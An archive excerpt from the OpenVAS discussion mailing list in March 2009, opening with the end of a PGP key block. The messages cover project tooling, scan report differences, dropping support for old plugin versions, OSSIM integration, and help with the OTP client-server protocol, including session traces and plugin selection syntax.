wILqDNfBoZk3oCq0+/+Zc7z0zRZfgMHwB4czpqhUCrINEjLO0rb2Jff6Hh0C5S9w 8l+x9IiOG9hHNO8ftVr1sNHGDTAWNNZ+pcCt5ROhqiiqnZsvowO1TcDMKEGD9NTW BN+jLFGZRY9/MQsUkWoXBQ8K5S9AP1EPPbSTX68VTj0vINLTk2/XfsJlV9Vd9b7G NkhbAdrvujbqLHDSE3ALpx8sWKg2vPCUAxJJY6S6danpw/XPGKkpcSNfqn4k8sCV e+9MJSu5Ag0ESaRthQEQALEj8eO2WCRqhOHakHhpvGQ4tFEIDS6Z3mnBaNaMc9VM i89LNYvJOgOSnWvIu8EF6Ah+PnhOayb9E3wvH+0nfOwzp6XhDor7h8WLQNL+qzk3 cPxkxdfNDaQdyJclstUqa0nIaPOJgbIRs12N6bCxhAeOKffIkrIdDqjxshTI3S3z fq7choduX8tNHoFzIIl6T+4Q0QXMT8xu5MeBHr+vxlgqNUTWOQn6Q/B6QnrVzWDA gEq4Id45vN4j18iXGqMy8/xWQg3kRHaU563zx8u+7cjV81feMDbQiC6p6nqQHsD4 U07JIVDqjbJESLdeqju6HsNzYKohi/gxhsgouPXdFTrfgkWCklAGwqT7QE0ZnL/t SVC0xpmCLneXAxWGGo27zJKVJ1/iMUgi/i4R+u2K4eQbsBXXYwh0gSxwYReTyr+C 51ugKkvYjTy+U2Fedq3lXEVtnRV02zpO/LlpJR446jRAapVH+ZF9tGMoIHg5hATZ KEzGw9x19/wQSRumTvV0HAQ0lqWW9/0n2VuwI/Sh7YHQ2j/DhyF0blFrooGyIxd2 x5+Xu1PWlYwlUbu7ZsOw1V9cqL5yv5m+w4mL+h8ytHJHHL2Cg8/3qp/QxLT7CnfX fOHAjNxGkS/QfoxEhuSwigPi/Yd51wHcaOLyUdGceOZ79ciQtPgvCFdyrDrfDhSr ABEBAAGJAR8EGAECAAkFAkmkbYUCGwwACgkQ0RNJxbFlRJhbLAgAsCBA7KmGkTmQ mjPNA7Iig8tA5S9fYavbKydNQNxPpL47GLf9V3la4P2/LPLa3rH31Bt+ScfSqAKC 5/geB5BKwmQqRomsQpjhmrpBenPjYrUYG2dEB/BOMvOyvr3dTpWtAg5CwYYnHTNy yJn7dc7whiE94ZxqFdt58K0H5/H449/VHuCJue+uzy0ldrTK8VVpK6uGgrJc5kre 2bpdGVbALpC+yeNMyXCqgGigg9gu1iHXSSGgbQfW+AhsFpiN37fPq8zDNU2C8sp3 4Y45EYRmRCZ+0a9WSRnYALRZFdvjysKfRjP3o4Ax/d4cSi6v2pT93yfoA2TQMkLF E1MQObpE5A== =7VGF - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQEcBAEBAgAGBQJJtWxDAAoJENETScWxZUSYvy8H/0I2MPlwsZPGOjcfRk5LG7Xt YS03LyCg4OiM+RRU/iExojmoZSwC1DkOUnPxQ0bDDYRKZftNzQZwe/fd7KkmB88I /o19eaA2pMeK+I40QYDSImPQPYFMWqlPW96NDo9wBKmeU+V9gCtazRnF5jXpplHK oTva7uEdPvX6xEc8o0LRmd1AMnCSHmHagvs8STInEMgNenKJdNs5mgXJ2oh0vU2x VxV6cuBvioXIdBH9c7LPcuPXWTCX0xAWEncK5FaH9ynKouimpSOboBP0AQP8luAr YLBio8IgPAMYcN0qXGdieVVpcfyygUQCKYuSBk3xFz7HpjfaxC2adXRtnNAsm+w= =ZkZw -----END PGP SIGNATURE----- From jan-oliver.wagner at intevation.de Tue Mar 10 08:49:12 2009 From: jan-oliver.wagner at intevation.de (Jan-Oliver Wagner) Date: Tue, 10 Mar 2009 08:49:12 +0100 Subject: [Openvas-discuss] Idea features tracking In-Reply-To: <49B56C4B.3010700@owasp.org> References: <49B56C4B.3010700@owasp.org> Message-ID: <200903100849.14891.jan-oliver.wagner@intevation.de> On Montag, 9. M?rz 2009, Christian Eric Edjenguele wrote: > one idea to avoid duplicate plugin development or feature for openvas, > must be to set a trac base system (http://trac.edgewall.org/), like, but > must powerful than the actual tracker. > developer could also be able to add features there for proposal. > > what do you think ? the discussion trac vs. GForge has a long record. Both have their advantages and disadvantages. A migration would consume lots of manpower and I do not see real showstoppers in the coordinaton of the developments. Best is to though in the plans one has into the mailing list or into IRC. The development team is (yet) small enough to coordinate at this informal level. Once the team get bigger, we indeed might need to think about some more formal processes. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335083-0 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From marc.rennhard at zhaw.ch Wed Mar 11 12:40:55 2009 From: marc.rennhard at zhaw.ch (Marc Rennhard) Date: Wed, 11 Mar 2009 12:40:55 +0100 Subject: [Openvas-discuss] Minor differences in subsequent scans In-Reply-To: <4B0F3340169A4C5B98DD9F1E846DA112@bchandra> References: <49B0E01A.50901@zhaw.ch> <4B0F3340169A4C5B98DD9F1E846DA112@bchandra> Message-ID: <49B7A347.1040705@zhaw.ch> Hi Chandra Indeed, not including port 8443 in the list shows both the Nikto scan and the robots.txt issue under "Security Note" of port 80. Is there an explanaion for this? Thanks, Marc Chandrashekhar B wrote: > Hello Marc, > > Just to help us understand the problem better, can you remove 8443 from the > second list and let me know if the report is proper? > > Thanks, > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Marc > Rennhard > Sent: Friday, March 06, 2009 2:05 PM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] Minor differences in subsequent scans > > Dear list > > I'm currently evaluating Openvas, primarily as a Nessus replacement. I'm > working unde Linux using the latest versions for client, server and plugins. > > The server I test runs several services (ssh, smtp, http, pop3s, imaps > and another http service on port 8443). I always use all plugins and > haven't changed the default plugin settings. Now consider the following: > > In one scan, I only specify port 80 in the port scan list (I leave the > "Consider unscanned ports as closed" checkbox unchecked); in the next > scan I specify all open ports (22,25,80.993,995,8443). Several issues > are reported with respect to port 80 in bot cases, but there are two > differences in the sense that two additional issues are listed when I > specify only port 80: > > - Under Security Warning, I get additionally the output of the > robots.txt plugin (1.3.6.1.4.1.25623.1.0.10302) > > - Under Security Notes, I get additionally the output of the Nikto > plugin (1.3.6.1.4.1.25623.1.0.14260) > > Does anyone has an idea, why these two issues are reported in the first > but not in the second scan? And yes, I could reproduce this several times. > > Thanks for any help, > Marc > > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From bchandra at secpod.com Thu Mar 12 11:07:47 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Thu, 12 Mar 2009 15:37:47 +0530 Subject: [Openvas-discuss] Minor differences in subsequent scans In-Reply-To: <49B7A347.1040705@zhaw.ch> References: <49B0E01A.50901@zhaw.ch> <4B0F3340169A4C5B98DD9F1E846DA112@bchandra> <49B7A347.1040705@zhaw.ch> Message-ID: Marc, The behavior is like, if multiple HTTP ports are available, the code will be called multiple times. I think the report is getting overwritten when it calls for 8443. We are debugging to make it more port specific. Thanks, Chandra. -----Original Message----- From: Marc Rennhard [mailto:marc.rennhard at zhaw.ch] Sent: Wednesday, March 11, 2009 5:11 PM To: Chandrashekhar B; openvas-discuss at wald.intevation.org Subject: Re: [Openvas-discuss] Minor differences in subsequent scans Hi Chandra Indeed, not including port 8443 in the list shows both the Nikto scan and the robots.txt issue under "Security Note" of port 80. Is there an explanaion for this? Thanks, Marc Chandrashekhar B wrote: > Hello Marc, > > Just to help us understand the problem better, can you remove 8443 from the > second list and let me know if the report is proper? > > Thanks, > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Marc > Rennhard > Sent: Friday, March 06, 2009 2:05 PM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] Minor differences in subsequent scans > > Dear list > > I'm currently evaluating Openvas, primarily as a Nessus replacement. I'm > working unde Linux using the latest versions for client, server and plugins. > > The server I test runs several services (ssh, smtp, http, pop3s, imaps > and another http service on port 8443). I always use all plugins and > haven't changed the default plugin settings. Now consider the following: > > In one scan, I only specify port 80 in the port scan list (I leave the > "Consider unscanned ports as closed" checkbox unchecked); in the next > scan I specify all open ports (22,25,80.993,995,8443). Several issues > are reported with respect to port 80 in bot cases, but there are two > differences in the sense that two additional issues are listed when I > specify only port 80: > > - Under Security Warning, I get additionally the output of the > robots.txt plugin (1.3.6.1.4.1.25623.1.0.10302) > > - Under Security Notes, I get additionally the output of the Nikto > plugin (1.3.6.1.4.1.25623.1.0.14260) > > Does anyone has an idea, why these two issues are reported in the first > but not in the second scan? And yes, I could reproduce this several times. > > Thanks for any help, > Marc > > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From jan-oliver.wagner at intevation.de Thu Mar 12 23:47:41 2009 From: jan-oliver.wagner at intevation.de (Jan-Oliver Wagner) Date: Thu, 12 Mar 2009 23:47:41 +0100 Subject: [Openvas-discuss] Stopping support for openvas-plugins <= 1.0.2 Message-ID: <200903122347.41868.jan-oliver.wagner@intevation.de> Hello, I'd like to stop support for openvas-plugins <= 1.0.2 soon. Those versions contained a bug in the nvt sync routine which was fixed on 2008-09-10 and first released with 1.0.3 on 2008-09-17. This bug forced us to have a ugly work-around on the OpenVAS Feed Server and I want to get rid of it. To find out whether the installed version is defect, you can execute this on the command line: $ grep avrP `which openvas-nvt-sync` && echo "defect found, please update" What we need is a announcement on the openvas-announce mailing list. Apart from this, is anyone aware of a operating system that has openvas- plugins <= 1.0.2 as a default installation? (this could mean some trouble I guess) Any additional idea about how to handle this situation? Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335 08 30 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From kost at linux.hr Fri Mar 13 13:33:14 2009 From: kost at linux.hr (Vlatko Kosturjak) Date: Fri, 13 Mar 2009 13:33:14 +0100 Subject: [Openvas-discuss] OpenVAS used as part of lectures at FOI Message-ID: <49BA528A.8020805@linux.hr> Hello! Just got info that OpenVAS is used as part of the SIS classes at the faculty of organisation and informatics (FOI, www.foi.hr) in Varazdin, Croatia. Students must be able to run the scanner, interpret the results and patch the systems in order to pass the practical exam :) Nice to hear that! Kost From eric at nixwizard.net Sat Mar 14 06:05:56 2009 From: eric at nixwizard.net (Eric Gearhart) Date: Fri, 13 Mar 2009 22:05:56 -0700 Subject: [Openvas-discuss] OpenVAS used as part of lectures at FOI In-Reply-To: <49BA528A.8020805@linux.hr> References: <49BA528A.8020805@linux.hr> Message-ID: <5792267e0903132205r28a2cf09i47063223fa7d5779@mail.gmail.com> On Fri, Mar 13, 2009 at 5:33 AM, Vlatko Kosturjak wrote: > Hello! > > Just got info that OpenVAS is used as part of the SIS classes at the > faculty of organisation and informatics (FOI, www.foi.hr) in Varazdin, > Croatia. > > Students must be able to run the scanner, interpret the results and > patch the systems in order to pass the practical exam :) > > Nice to hear that! That's awesome! Do they have an online degree program? :) -- Eric http://nixwizard.net From kost at linux.hr Sat Mar 14 12:16:23 2009 From: kost at linux.hr (Vlatko Kosturjak) Date: Sat, 14 Mar 2009 12:16:23 +0100 Subject: [Openvas-discuss] OpenVAS used as part of lectures at FOI In-Reply-To: <5792267e0903132205r28a2cf09i47063223fa7d5779@mail.gmail.com> References: <49BA528A.8020805@linux.hr> <5792267e0903132205r28a2cf09i47063223fa7d5779@mail.gmail.com> Message-ID: <49BB9207.5030305@linux.hr> >> Just got info that OpenVAS is used as part of the SIS classes at the >> faculty of organisation and informatics (FOI, www.foi.hr) in Varazdin, >> Croatia. >> Students must be able to run the scanner, interpret the results and >> patch the systems in order to pass the practical exam :) >> Nice to hear that! > That's awesome! Do they have an online degree program? :) Not sure. But you can ask Tonimir who is in CC: Best regards, Kost From tonimir.kisasondi at foi.hr Sat Mar 14 20:20:14 2009 From: tonimir.kisasondi at foi.hr (Tonimir Kisasondi) Date: Sat, 14 Mar 2009 20:20:14 +0100 Subject: [Openvas-discuss] OpenVAS used as part of lectures at FOI In-Reply-To: <49BB9207.5030305@linux.hr> References: <49BA528A.8020805@linux.hr> <5792267e0903132205r28a2cf09i47063223fa7d5779@mail.gmail.com> <49BB9207.5030305@linux.hr> Message-ID: <49BC036E.3080900@foi.hr> Vlatko Kosturjak wrote: >>> Just got info that OpenVAS is used as part of the SIS classes at the >>> faculty of organisation and informatics (FOI, www.foi.hr) in Varazdin, >>> Croatia. >>> Students must be able to run the scanner, interpret the results and >>> patch the systems in order to pass the practical exam :) >>> Nice to hear that! >> That's awesome! Do they have an online degree program? :) > > Not sure. But you can ask Tonimir who is in CC: > > Best regards, > > Kost > No, FOI doesn't offer an online degree program. :( OpenVAS is used as a part of the last chapter in our Information systems security class: Testing information security systems. Hopefully, i will be able to contribute to the project in the near future :) From dk at alienvault.com Sun Mar 15 17:36:32 2009 From: dk at alienvault.com (Dominique Karg) Date: Sun, 15 Mar 2009 17:36:32 +0100 Subject: [Openvas-discuss] Integrating OpenVAS into OSSIM Message-ID: Hello everybody, first, a word of thanks to Tim, Jan and everybody making the OpenVAS effort happening; thanks guys :-) I'm finishing off the next release of ossim and I think it would add lot to it if we finally replaced nessus with openvas. This release will be lenny (32 and 64bit) based, I'm having a look and notice that packages for lenny aren't readily available on the server part. My question therefore is: are there any official/trusted backports available or will we have to do them ourselves? TYIA for any support, Dominique From jan-oliver.wagner at intevation.de Sun Mar 15 20:16:27 2009 From: jan-oliver.wagner at intevation.de (Jan-Oliver Wagner) Date: Sun, 15 Mar 2009 20:16:27 +0100 Subject: [Openvas-discuss] Integrating OpenVAS into OSSIM In-Reply-To: References: Message-ID: <200903152016.27809.jan-oliver.wagner@intevation.de> Hello Dominique, On Sunday 15 March 2009 17:36:32 Dominique Karg wrote: > I'm finishing off the next release of ossim and I think it would add > lot to it if we finally replaced nessus with openvas. :-) > This release > will be lenny (32 and 64bit) based, I'm having a look and notice that > packages for lenny aren't readily available on the server part. > > My question therefore is: are there any official/trusted backports > available or will we have to do them ourselves? In fact, we are working on Lenny packages over here at Intevation. However, it takes some time. We try to be in sync with the Debian stuff but Debian still did not manage to have all of OpenVAS integrated and also the recent releases did not arrive yet in unstable. However, I can not promise a date when our packages are available as there are so many tasks aound OpenVAS to do. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335 08 30 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From shawnduffy at gmail.com Mon Mar 16 15:50:04 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Mon, 16 Mar 2009 10:50:04 -0400 Subject: [Openvas-discuss] OTP help Message-ID: <49BE671C.5090203@gmail.com> Hello all, As I've mentioned in previous emails recently, I'm writing an OpenVAS client in PHP. I've managed to connect to the OpenVAS server, log in, retrieve plugins, and start a scan. But, the scan inevitably hangs at some point... usually, the same point. So I wanted to know if someone could walk through what the expected OTP conversation would look like between the client and server. I've read through the OTP docs but I'm still having trouble. This is what the conversation looks like now: Client: < OTP/1.0 > Server: < OTP/1.0 > Client: Logs in Client: CLIENT <|> PREFERENCES <|> ... list of prefs ... I've been sending an empty prefs list to keep things simple <|> CLIENT Server sends its preferences Client: CLIENT <|> LONG_ATTACK length of targets targets (just one target in this case) After this is all done, the server starts sending status messages and info about the scan. But after about a hundred lines or so, it just stops doing anything. The logs on the OpenVAS server aren't saying that anything is wrong, the process list still shows that openvasd is still performing the scan but it's just hanging. So, I'm assuming I'm not using the protocol correctly. Can someone let me know what a basic conversation between the client and server looks like, in order, so I can try to troubleshoot? I'll have some follow-up questions as soon as I get a basic idea of what the conversation looks like, I'm sure. Thanks! Shawn From lists at securityspace.com Mon Mar 16 16:34:12 2009 From: lists at securityspace.com (Thomas Reinke) Date: Mon, 16 Mar 2009 11:34:12 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <49BE671C.5090203@gmail.com> References: <49BE671C.5090203@gmail.com> Message-ID: <49BE7174.3090507@securityspace.com> Shawn Duffy wrote: > Hello all, > > As I've mentioned in previous emails recently, I'm writing an OpenVAS > client in PHP. I've managed to connect to the OpenVAS server, log in, > retrieve plugins, and start a scan. But, the scan inevitably hangs at > some point... usually, the same point. > > So I wanted to know if someone could walk through what the expected OTP > conversation would look like between the client and server. I've read > through the OTP docs but I'm still having trouble. This is what the > conversation looks like now: > > Client: < OTP/1.0 > > Server: < OTP/1.0 > > Client: Logs in > Client: CLIENT <|> PREFERENCES <|> > ... list of prefs ... > I've been sending an empty prefs list to keep things simple > <|> CLIENT > Server sends its preferences > Client: CLIENT <|> LONG_ATTACK > length of targets > targets (just one target in this case) > > After this is all done, the server starts sending status messages and > info about the scan. But after about a hundred lines or so, it just > stops doing anything. The logs on the OpenVAS server aren't saying that > anything is wrong, the process list still shows that openvasd is still > performing the scan but it's just hanging. So, I'm assuming I'm not > using the protocol correctly. > > Can someone let me know what a basic conversation between the client and > server looks like, in order, so I can try to troubleshoot? I'll have > some follow-up questions as soon as I get a basic idea of what the > conversation looks like, I'm sure. That looks more or less right. If it is hanging, it is usually becase of a plugin that is taking a long time to execute. A couple of things you could check: 1) Check the logs and see if you see the "launching NNNN.nasl" lines and match them against the "NNNN.nasl ... finished" lines. 2) Do a simple "ps" and look for anything with "nasl" in the line. It should show you which plugins are running, and will give you a hint as to where it is getting stuck. Once you successfully launch a scan, providing you stay connected to the server, there is no other interaction needed. The server spews all the results out as they come in, and at the end sends the one line "SERVER <|> BYE <|> BYE <|> SERVER" to indicate things are done. Thomas -- SecuritySpace Support From shawnduffy at gmail.com Mon Mar 16 16:44:52 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Mon, 16 Mar 2009 11:44:52 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <49BE7174.3090507@securityspace.com> References: <49BE671C.5090203@gmail.com> <49BE7174.3090507@securityspace.com> Message-ID: <49BE73F4.4030603@gmail.com> Thanks Thomas. I'll continue testing... One other question though... To help me limit the loaded plugins used for the scans... The client can send the list of plugins it would like to use. I'm assuming this is done with CLIENT <|> PREFERENCES <|> plugin_set <|> ... What is the syntax for the plugin_set pref? Is it a comma-delimited list of OIDs? Or do I send a separate plugin_set pref for every plugin such as: plugin_set <|> 12345 plugin_set <|> 12346 ... How would I set my plugin set from the client? Thanks again! Shawn Thomas Reinke wrote: > Shawn Duffy wrote: >> Hello all, >> >> As I've mentioned in previous emails recently, I'm writing an OpenVAS >> client in PHP. I've managed to connect to the OpenVAS server, log in, >> retrieve plugins, and start a scan. But, the scan inevitably hangs at >> some point... usually, the same point. >> >> So I wanted to know if someone could walk through what the expected >> OTP conversation would look like between the client and server. I've >> read through the OTP docs but I'm still having trouble. This is what >> the conversation looks like now: >> >> Client: < OTP/1.0 > >> Server: < OTP/1.0 > >> Client: Logs in >> Client: CLIENT <|> PREFERENCES <|> >> ... list of prefs ... >> I've been sending an empty prefs list to keep things simple >> <|> CLIENT >> Server sends its preferences >> Client: CLIENT <|> LONG_ATTACK >> length of targets >> targets (just one target in this case) >> >> After this is all done, the server starts sending status messages and >> info about the scan. But after about a hundred lines or so, it just >> stops doing anything. The logs on the OpenVAS server aren't saying >> that anything is wrong, the process list still shows that openvasd is >> still performing the scan but it's just hanging. So, I'm assuming I'm >> not using the protocol correctly. >> >> Can someone let me know what a basic conversation between the client >> and server looks like, in order, so I can try to troubleshoot? I'll >> have some follow-up questions as soon as I get a basic idea of what >> the conversation looks like, I'm sure. > > That looks more or less right. If it is hanging, it is usually becase > of a plugin that is taking a long time to execute. > A couple of things you could check: > > 1) Check the logs and see if you see the "launching NNNN.nasl" lines > and match them against the "NNNN.nasl ... finished" lines. > > 2) Do a simple "ps" and look for anything with "nasl" in the line. > It should show you which plugins are running, and will give you > a hint as to where it is getting stuck. > > Once you successfully launch a scan, providing you stay connected > to the server, there is no other interaction needed. The server > spews all the results out as they come in, and at the end sends > the one line > "SERVER <|> BYE <|> BYE <|> SERVER" > > to indicate things are done. > > Thomas > -- > SecuritySpace Support > > From lists at securityspace.com Mon Mar 16 17:01:03 2009 From: lists at securityspace.com (Thomas Reinke) Date: Mon, 16 Mar 2009 12:01:03 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <49BE73F4.4030603@gmail.com> References: <49BE671C.5090203@gmail.com> <49BE7174.3090507@securityspace.com> <49BE73F4.4030603@gmail.com> Message-ID: <49BE77BF.2030504@securityspace.com> Shawn Duffy wrote: > Thanks Thomas. I'll continue testing... > > One other question though... To help me limit the loaded plugins used > for the scans... > > The client can send the list of plugins it would like to use. I'm > assuming this is done with > > CLIENT <|> PREFERENCES <|> > plugin_set <|> ... > > What is the syntax for the plugin_set pref? Is it a comma-delimited > list of OIDs? Or do I send a separate plugin_set pref for every plugin > such as: > > plugin_set <|> 12345 > plugin_set <|> 12346 The answer you're looking for is (I believe) a semi-colon delimited list of plugin IDs (not OIDs). See below. A client side session trace might look as follows: < OTP/1.0 > DAEMONUSERID DAEMONPASSWORD CLIENT <|> PREFERENCES <|> SSH settings[password]:SSH password (unsafe!) : <|> YOUR_SYSTEM_PASSWORD Nmap[radio]:Port range <|> 22-22 Ping the remote host[checkbox]:Do a TCP ping <|> no Ping the remote host[checkbox]:Log live hosts in the report <|> yes port_range <|> 22-22 plugin_set <|> 14273;10180;10335;10330;50282 <|> CLIENT CLIENT <|> LONG_ATTACK <|> 13 192.168.10.10 From shawnduffy at gmail.com Mon Mar 16 17:09:38 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Mon, 16 Mar 2009 12:09:38 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <49BE77BF.2030504@securityspace.com> References: <49BE671C.5090203@gmail.com> <49BE7174.3090507@securityspace.com> <49BE73F4.4030603@gmail.com> <49BE77BF.2030504@securityspace.com> Message-ID: <49BE79C2.2050401@gmail.com> Excellent! I'll give it a shot! Thomas Reinke wrote: > Shawn Duffy wrote: >> Thanks Thomas. I'll continue testing... >> >> One other question though... To help me limit the loaded plugins used >> for the scans... >> >> The client can send the list of plugins it would like to use. I'm >> assuming this is done with >> >> CLIENT <|> PREFERENCES <|> >> plugin_set <|> ... >> >> What is the syntax for the plugin_set pref? Is it a comma-delimited >> list of OIDs? Or do I send a separate plugin_set pref for every >> plugin such as: >> >> plugin_set <|> 12345 >> plugin_set <|> 12346 > > The answer you're looking for is (I believe) a semi-colon delimited > list of plugin IDs (not OIDs). See below. > > A client side session trace might look as follows: > > < OTP/1.0 > > DAEMONUSERID > DAEMONPASSWORD > CLIENT <|> PREFERENCES <|> > SSH settings[password]:SSH password (unsafe!) : <|> YOUR_SYSTEM_PASSWORD > Nmap[radio]:Port range <|> 22-22 > Ping the remote host[checkbox]:Do a TCP ping <|> no > Ping the remote host[checkbox]:Log live hosts in the report <|> yes > port_range <|> 22-22 > plugin_set <|> 14273;10180;10335;10330;50282 > <|> CLIENT > CLIENT <|> LONG_ATTACK <|> > 13 > 192.168.10.10 > > From felix.wolfsteller at intevation.de Tue Mar 17 09:33:29 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Tue, 17 Mar 2009 09:33:29 +0100 Subject: [Openvas-discuss] OTP help In-Reply-To: <49BE77BF.2030504@securityspace.com> References: <49BE671C.5090203@gmail.com> <49BE73F4.4030603@gmail.com> <49BE77BF.2030504@securityspace.com> Message-ID: <200903170933.30026.felix.wolfsteller@intevation.de> On Monday 16 March 2009 17:01:03 Thomas Reinke wrote: > Shawn Duffy wrote: > > What is the syntax for the plugin_set pref? Is it a comma-delimited > > list of OIDs? Or do I send a separate plugin_set pref for every plugin > > such as: > > > > plugin_set <|> 12345 > > plugin_set <|> 12346 > > The answer you're looking for is (I believe) a semi-colon delimited > list of plugin IDs (not OIDs). See below. > plugin_set <|> 14273;10180;10335;10330;50282 At least the recent client _does send OIDs_, like plugin_set <|> 1.3.6.1.4.1.25623.1.0.50282;1.3.6.1.4.1.25623.1.0.900070; Shawn, if you find inconsistencies in the compendium or find that it could be improved, please inform us. Or (and better), if you have the ten minutes for doing it, just modify the .tex files of the compendium and send a patch to the mailing-list (if you do not have svn-commit-access yet). On the other hand, keep in mind that the new OMP (http://openvas.org/openvas-cr-28.html and various mailing-list threads) is visible at the horizon. -- felix -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From shawnduffy at gmail.com Tue Mar 17 11:58:21 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Tue, 17 Mar 2009 06:58:21 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <200903170933.30026.felix.wolfsteller@intevation.de> References: <49BE671C.5090203@gmail.com> <49BE73F4.4030603@gmail.com> <49BE77BF.2030504@securityspace.com> <200903170933.30026.felix.wolfsteller@intevation.de> Message-ID: <49BF824D.6040908@gmail.com> Excellent. Will do. Thanks! Felix Wolfsteller wrote: > On Monday 16 March 2009 17:01:03 Thomas Reinke wrote: >> Shawn Duffy wrote: >>> What is the syntax for the plugin_set pref? Is it a comma-delimited >>> list of OIDs? Or do I send a separate plugin_set pref for every plugin >>> such as: >>> >>> plugin_set <|> 12345 >>> plugin_set <|> 12346 >> The answer you're looking for is (I believe) a semi-colon delimited >> list of plugin IDs (not OIDs). See below. >> plugin_set <|> 14273;10180;10335;10330;50282 > > At least the recent client _does send OIDs_, like > > plugin_set <|> 1.3.6.1.4.1.25623.1.0.50282;1.3.6.1.4.1.25623.1.0.900070; > > Shawn, if you find inconsistencies in the compendium or find that it could be > improved, please inform us. > Or (and better), if you have the ten minutes for doing it, just modify > the .tex files of the compendium and send a patch to the mailing-list (if you > do not have svn-commit-access yet). > > On the other hand, keep in mind that the new OMP > (http://openvas.org/openvas-cr-28.html and various mailing-list threads) is > visible at the horizon. > > -- felix > From shawnduffy at gmail.com Tue Mar 17 15:29:34 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Tue, 17 Mar 2009 10:29:34 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <200903170933.30026.felix.wolfsteller@intevation.de> References: <49BE671C.5090203@gmail.com> <49BE73F4.4030603@gmail.com> <49BE77BF.2030504@securityspace.com> <200903170933.30026.felix.wolfsteller@intevation.de> Message-ID: <49BFB3CE.7030201@gmail.com> So, I've set up a PHP OTP client to send the following preferences to the server: CLIENT <|> PREFERENCES <|> ntp_opt_show_end <|> yes Nmap[radio]:Port range <|> 22-22 Ping the remote host[checkbox]:Do a TCP ping <|> no Ping the remote host[checkbox]:Log live hosts in the report <|> yes port_range <|> 1-1024 plugin_set <|> 1.3.6.1.4.1.25623.1.0.14259;1.3.6.1.4.1.25623.1.0.10335; auto_enable_dependencies <|> no silent_dependencies <|> no <|> CLIENT So, I would think that this means that only two plugins would be enabled (scanner plugins) and that the port range would be limited to 1-1024. As I watch the status messages scroll by it looks like the portscan is limited to 1-1024 but after that it starts running other plugins. I'm seeing it trying to run smb checks, slad checks and other status messages indicating that it is cycling through all available plugins: SERVER <|> STATUS <|> XXX.XXXXXXXXX.XXXXXX <|> attack <|> 6464/8977 <|> SERVER SERVER <|> STATUS <|> XXX.XXXXXXXXX.XXXXXX <|> attack <|> 6823/8977 <|> SERVER SERVER <|> STATUS <|> XXX.XXXXXXXXX.XXXXXX <|> attack <|> 7182/8977 <|> SERVER SERVER <|> STATUS <|> XXX.XXXXXXXXX.XXXXXX <|> attack <|> 7541/8977 <|> SERVER SERVER <|> INFO <|> XXX.XXXXXXXXX.XXXXXX <|> ndl-aas (3128/tcp) <|> \r\n\r\n Overview:\r\n Qwerty CMS is prone to an SQL-injection vulnerability because it fails to\r\n sufficiently sanitize user-supplied data before using it in an SQL query.\r\n\r\n Exploiting this issue could allow an attacker to compromise the application,\r\n access or modify data, or exploit latent vulnerabilities in the underlying\r\n database. \r\n\r\n Risk factor : Medium\nBID : 33885\n <|> 1.3.6.1.4.1.25623.1.0.100013 <|> SERVER Is there something that I am doing incorrectly in the protocol and client preferences? Thanks! Shawn Felix Wolfsteller wrote: > On Monday 16 March 2009 17:01:03 Thomas Reinke wrote: >> Shawn Duffy wrote: >>> What is the syntax for the plugin_set pref? Is it a comma-delimited >>> list of OIDs? Or do I send a separate plugin_set pref for every plugin >>> such as: >>> >>> plugin_set <|> 12345 >>> plugin_set <|> 12346 >> The answer you're looking for is (I believe) a semi-colon delimited >> list of plugin IDs (not OIDs). See below. >> plugin_set <|> 14273;10180;10335;10330;50282 > > At least the recent client _does send OIDs_, like > > plugin_set <|> 1.3.6.1.4.1.25623.1.0.50282;1.3.6.1.4.1.25623.1.0.900070; > > Shawn, if you find inconsistencies in the compendium or find that it could be > improved, please inform us. > Or (and better), if you have the ten minutes for doing it, just modify > the .tex files of the compendium and send a patch to the mailing-list (if you > do not have svn-commit-access yet). > > On the other hand, keep in mind that the new OMP > (http://openvas.org/openvas-cr-28.html and various mailing-list threads) is > visible at the horizon. > > -- felix > From jan-oliver.wagner at intevation.de Wed Mar 18 08:52:34 2009 From: jan-oliver.wagner at intevation.de 